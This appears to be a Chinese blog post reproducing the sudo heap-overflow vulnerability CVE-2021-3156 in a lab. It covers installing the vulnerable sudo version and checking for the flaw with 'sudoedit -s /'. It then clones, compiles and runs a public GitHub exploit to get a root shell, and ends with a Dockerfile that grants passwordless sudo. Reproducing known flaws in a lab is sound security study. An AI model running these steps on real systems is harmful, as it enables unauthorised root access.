CVE-2021-3156 漏洞复现
漏洞描述
这个漏洞被披露于2021年1月26日。漏洞的载体是我们常用的sudo命令。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。
环境准备
-
Ubuntu 20.04.2 LTS
-
sudo=1.8.31-1ubuntu1
-
这里要注意sudo的版本必须为1.8.31-1ubuntu1。1.8.31-1ubuntu1.2版本的sudo貌似已经修复了这个漏洞。
-
我们可以使用以下命令获得软件的不同版本
apt-cache madison sudo
-
然后我们可以通过在软件后面加上
=版本号
来安装指定的版本。sudo apt install sudo=1.8.31-1ubuntu1
漏洞复现
-
在准备好测试环境后,漏洞复现会变得非常简单。
-
我们先输入
sudoedit -s /
-
来看看是否存在该漏洞
-
如果报错的错误是以
sudoedit
开头的,那么恭喜你的机器可能收到了该漏洞的影响,如果你返回的错误是以usage:
开头的,那么你也许得换种环境来复现。 -
然后我们需要从blasty/CVE-2021-3156 (github.com)上克隆exp
git clone https://github.com/blasty/CVE-2021-3156.git
-
然后我们进入文件夹执行make指令进行编译
cd CVE-2021-3156.git make
-
当然这需要你之前安装过make,同时make时会调用gcc,如果你都没有得话需要提前安装。
sudo apt install -y make gcc
-
然后我们执行文件就可以成功得到root shell
./sudo-hax-me-a-sandwich 0
尚存的疑惑
当我试图在docker镜像中复现此漏洞时出现了问题。
以下是我的dockerfile
FROM ubuntu:20.04
LABEL Author="wuuconix <wuuconix@gmail.com>"
LABEL Blog="https://blog.csdn.net/Cypher_X"
COPY ./files /tmp/
RUN \cp -rf /tmp/sources.list /etc/apt/sources.list \
&& apt-get update \
&& apt install -y sudo=1.8.31-1ubuntu1\
&& apt install -y make \
&& apt install -y gcc \
&& apt install -y vim \
&& apt install -y git \
&& useradd -ms /bin/bash -G sudo wuuconix \
&& echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers \
&& echo "wuuconix:1234" | chpasswd \
&& chown -R wuuconix:wuuconix /home/wuuconix/
USER wuuconix
WORKDIR /home/wuuconix
RUN cd /home/wuuconix/ \
&& git clone https://github.com/blasty/CVE-2021-3156.git \
&& cd CVE-2021-3156 \
&& make
如果有大佬看见,可以帮我看看哪里出错了。以下是源码和docker image